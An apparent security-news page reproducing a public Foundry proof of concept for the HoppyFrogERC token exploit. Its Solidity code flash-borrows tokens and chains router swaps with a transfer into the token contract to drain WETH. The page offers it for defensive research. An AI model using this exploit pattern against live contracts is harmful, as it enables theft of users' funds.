Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/HoppyFrogERC_exp.sol

Public reproduction file for dataset entry HoppyFrogERC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/HoppyFrogERC_exp.sol56 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6// @KeyInfo -- Total Lost : ~0.3 ETH
7// TX : https://app.blocksec.com/explorer/tx/eth/0x6fb7f8e9eb09d6ae17dbe82b2b42f46f64fb9c3197438b68ecf03e832d5fc791
8// Attacker : https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b
9// Attack Contract : https://etherscan.io/address/0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3
10// GUY : https://x.com/ChainAegis/status/1775351437410918420
12contract Exploit is Test {
13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14 Uni_Pair_V3 Pair = Uni_Pair_V3(0xaA6f337f16E6658d9c9599c967D3126051b6c726);
15 IERC20 Hoppy = IERC20(0xE5c6F5fEF89B64f36BfcCb063962820136bAc42F);
16 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
17 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
19 function setUp() external {
20 cheats.createSelectFork("mainnet", 19_570_744);
21 }
23 function testExploit() external {
24 emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);
25 uint256 amount = Hoppy.balanceOf(address(Pair));
26 Pair.flash(address(this), 0, amount, "123");
27 emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
28 }
30 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
31 Hoppy.approve(address(Router), type(uint256).max);
32 swap_token_to_token(address(Hoppy), address(WETH), 3_071_435_167_652_113_869_853);
33 Hoppy.transfer(address(Hoppy), 206_900_000_001_000_000_000);
34 swap_token_to_token(address(Hoppy), address(WETH), 4_206_900_000_000_000_000_000);
35 swap_token_to_ExactToken(
36 7_560_087_519_329_645_008_552, address(WETH), address(Hoppy), 3_907_363_705_363_283_233
37 );
38 Hoppy.transfer(address(msg.sender), 7_560_087_519_329_645_008_552);
39 }
41 function swap_token_to_token(address a, address b, uint256 amount) internal {
42 IERC20(a).approve(address(Router), amount);
43 address[] memory path = new address[](2);
44 path[0] = address(a);
45 path[1] = address(b);
46 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
47 }
49 function swap_token_to_ExactToken(uint256 amountout, address a, address b, uint256 amountInMax) public payable {
50 IERC20(a).approve(address(Router), amountInMax);
51 address[] memory path = new address[](2);
52 path[0] = address(a);
53 path[1] = address(b);
54 Router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp + 120);
55 }

Analysis

Dataset entry

Public Foundry test for “HoppyFrogERC” (2024-04-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x676c3262e8f0fba0031a93ea74ff801b99ac177b

  • Attack Contract

    0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3

File record

Name
HoppyFrogERC
Path
src/test/2024-04/HoppyFrogERC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d1d75268f6bc248eeec7e7d7ea4667762a165005
Language
Solidity
Size
57 lines
Date
2024-04-02
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/HoppyFrogERC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d1d75268f6bc248eeec7e7d7ea4667762a165005, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.